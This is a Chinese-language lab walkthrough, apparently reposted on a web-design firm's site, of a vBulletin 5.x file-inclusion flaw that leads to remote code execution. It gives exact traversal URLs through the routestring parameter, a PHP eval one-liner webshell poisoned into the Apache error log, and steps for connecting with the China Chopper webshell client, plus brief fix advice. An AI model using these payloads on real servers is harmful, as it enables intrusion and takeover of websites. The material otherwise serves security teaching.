vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

本篇文章為大家展示了vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

站在用戶的角度思考問題,與客戶深入溝通,找到溧水網(wǎng)站設(shè)計(jì)與溧水網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗(yàn)好的作品,建站類型包括:網(wǎng)站建設(shè)、成都網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、國際域名空間、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋溧水地區(qū)。

一、漏洞介紹

vBulletin中存在一個文件包含問題,可使惡意訪問者包含來自 vBulletin 服務(wù)器的文件并且執(zhí)行任意 PHP 代碼。未經(jīng)驗(yàn)證的惡意訪問者可通過向index.php發(fā)出包含routestring=參數(shù)的GET 請求,從而觸發(fā)文件包含漏洞,最終導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞

二、漏洞原理

index.php頁面發(fā)送GET請求去使用routestring參數(shù)包含本地文件時,層層調(diào)用功能函數(shù)對routestring的值進(jìn)行過濾,我們來看主要的處理代碼。

該代碼位于/includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

這段代碼判斷routestring獲取的值是否以.gif, .png, .jpg, .css or .js結(jié)尾,如果是則頭部信息返回404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

這段代碼中strpos()函數(shù)返回/字符在$path中第一次出現(xiàn)的位置,若返回信息為false才會繼續(xù)處理,也就是說路徑中不能出現(xiàn)/。

對于Linux服務(wù)器,處理URL時,/表示目錄層的分隔、表示符,所以此處無法以多個../的方式包含網(wǎng)站中的其他文件。但是對于Windows服務(wù)器,/和\在表達(dá)路徑時,是等價(jià)的,而程序并沒有對\進(jìn)行處理,所以導(dǎo)致本次針對Windows服務(wù)器的文件包含漏洞。

影響版本

版本號 vBulletin v5.x版本  漏洞發(fā)現(xiàn)者已聯(lián)系廠商,暫未得到回復(fù)

三、漏洞利用

接下來的實(shí)操部分,我們將逐步深入漏洞的理解和利用,先利用頁面報(bào)錯,獲取服務(wù)器相關(guān)信息;再包含服務(wù)器內(nèi)部文件,執(zhí)行phpinfo()驗(yàn)證代碼執(zhí)行;最后包含寫入PHP一句話的網(wǎng)站日志文件,獲取網(wǎng)站管理權(quán)限。

步驟1  漏洞驗(yàn)證

這一步,我們簡單利用報(bào)錯獲取服務(wù)器信息,然后利用漏洞去包含執(zhí)行phpinfo()函數(shù)進(jìn)行驗(yàn)證

1.打開目標(biāo)網(wǎng)址172.16.12.2/vb5/index.php,網(wǎng)站主頁如下:

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

2.訪問漏洞頁面,查看報(bào)錯信息

在瀏覽器中打開172.16.12.2/vb5/index.php?routestring=.\\,報(bào)錯信息如下:

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

可以看見頁面使用require_once()包含當(dāng)前路徑(C:\phpstudy\WWW\vb5/core/.\\)時不被允許而報(bào)錯,報(bào)錯信息泄露了網(wǎng)站的絕對路徑,以及網(wǎng)站搭建軟件:phpstudy

phpstudy 搭建網(wǎng)站時,默認(rèn)會在網(wǎng)站根目錄留下  l.php和phpinfo.php文件,通常網(wǎng)站管理員會刪除或者修改這兩個文件因?yàn)?\還有轉(zhuǎn)義的含義,而表示路徑時\\和\是等價(jià)的,所以我們使用\\防止被轉(zhuǎn)義(本實(shí)驗(yàn)\也可完成)

3.訪問 phpinfo.txt文件

此處為了驗(yàn)證包含漏洞,網(wǎng)站根目錄下存有phpinfo.txt文件,內(nèi)容為<?php phpinfo();?>,我們嘗試直接訪問該文件,http://172.16.12.2/phpinfo.txt

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

網(wǎng)站直接將文本內(nèi)容顯示出來了

4.包含 phpinfo.txt文件

我們接著嘗試包含該文件,打開構(gòu)造的鏈接http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

此處我們已知曉網(wǎng)站在服務(wù)器上的絕對路徑,所以使用多個..\\加上文件路徑,表示被包含文件的網(wǎng)站路徑,包含該文件后,服務(wù)器將文件當(dāng)做php文件進(jìn)行解析,執(zhí)行了phpinfo()函數(shù)。

phpinfo():PHP內(nèi)置函數(shù),輸出PHP服務(wù)器的配置信息

步驟2 漏洞利用

一般情況下,PHP文件包含漏洞利用的方式都是先利用網(wǎng)站上傳點(diǎn),上傳含有惡意代碼的文件,然后找到上傳后的文件路徑,構(gòu)造URL,通過包含漏洞執(zhí)行惡意代碼。但是,如果網(wǎng)站本身無可利用的上傳點(diǎn),或者對上傳的文件做了限制,使得我們無法獲知文件的路徑,亦或者對輸入時獲取的參數(shù)做出過濾,這種方法就行不通了。

由上述可知,程序?qū)Π奈募缶Y做出了限制,在沒有其他利用的情況下,我們可以選擇包含網(wǎng)站本身存在文件的方式,也就是本次實(shí)驗(yàn)的利用方式:包含網(wǎng)站日志文件

本次包含的是Apache的錯誤訪問日志(error.log),這個日志文件在phpstudy中的路徑為: \phpstudy\apache\logs\error.log。

1.將一句話寫入日志記錄

首先,我們構(gòu)造一個會報(bào)錯的訪問鏈接,將利用代碼(PHP一句話)寫入錯誤日志記錄中。

http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>

這個鏈接直接訪問的話,一句話會被編碼成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,雙擊打開工具Burp suite。

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

配置瀏覽器的代理設(shè)置:

打開桌面的chrome瀏覽器,訪問chrome://settings或者點(diǎn)擊瀏覽器右側(cè)的自定義按鈕--》設(shè)置,進(jìn)入設(shè)置界面

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

點(diǎn)擊下方的顯示高級設(shè)置,找到更改代理服務(wù)器設(shè)置按鈕并打開,在彈出的設(shè)置中選擇局域網(wǎng)設(shè)置

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

具體配置如下圖,修改后確定

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

配置完代理后,在瀏覽器中訪問上述構(gòu)造的鏈接,Burpsuite接受到數(shù)據(jù)包會自動截獲,打開Burpsuite--》proxy--》Intercept,在下方文本框中,右擊并選擇Send to Repeater,隨后點(diǎn)擊Repeter功能按鈕,對所截獲的包進(jìn)行修改。


vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

我們將被編碼的鏈接改回編碼之前的狀態(tài),修改后的內(nèi)容如下:

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

點(diǎn)擊 Go按鈕發(fā)送,返回403報(bào)錯,服務(wù)器錯誤日志文件成功將此次記錄到error.log中

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

我們已經(jīng)成功的將利用代碼寫入日志中了

注意利用代碼的正確性,如果寫入錯誤的代碼可能會導(dǎo)致后續(xù)包含時,代碼不能成功執(zhí)行

現(xiàn)在,將Burpsuite關(guān)閉,并按照上述設(shè)置瀏覽器代理的方法關(guān)閉代理

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

2.構(gòu)造Webshell連接地址

們根據(jù)日志的路徑構(gòu)造訪問路徑:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客戶端連接一句話

接下來就使用中國菜刀連接我們的一句話,使用Everything搜索并打開chopper,右擊,選擇添加,在地址欄內(nèi)填入我們構(gòu)造好的鏈接,右側(cè)寫入密碼c,類型選擇 PHP(Eval),然后點(diǎn)擊添加。

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

雙擊鏈接,連接成功(此處如果連接不上請檢查寫入的代碼是否正確,代理是否關(guān)閉)

vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析

包含日志文件需要確定的服務(wù)器日志路徑,通常管理員會修改相關(guān)配置,而且寫入代碼時需要注意嚴(yán)格的格式和編碼,所以這種方法不作為優(yōu)選利用方法,但是在沒有其他利用點(diǎn)的情況下,也是可以嘗試的

修復(fù)方案

  • (1) 等待官方發(fā)布補(bǔ)丁,個人用戶建議采用可替代的相關(guān)產(chǎn)品

  • (2) 企業(yè)用戶可修改網(wǎng)站源代碼,增加\字符的過濾處理

  • (3) 網(wǎng)站管理人員可以修改服務(wù)器本身敏感信息文件位置,避免漏洞的進(jìn)一步利用

上述內(nèi)容就是vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

網(wǎng)站題目:vBulletin5.x版本通殺遠(yuǎn)程代碼執(zhí)行漏洞的實(shí)例分析
鏈接分享:http://bm7419.com/article0/igooio.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)建站、網(wǎng)站排名、云服務(wù)器、企業(yè)建站外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站收錄

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)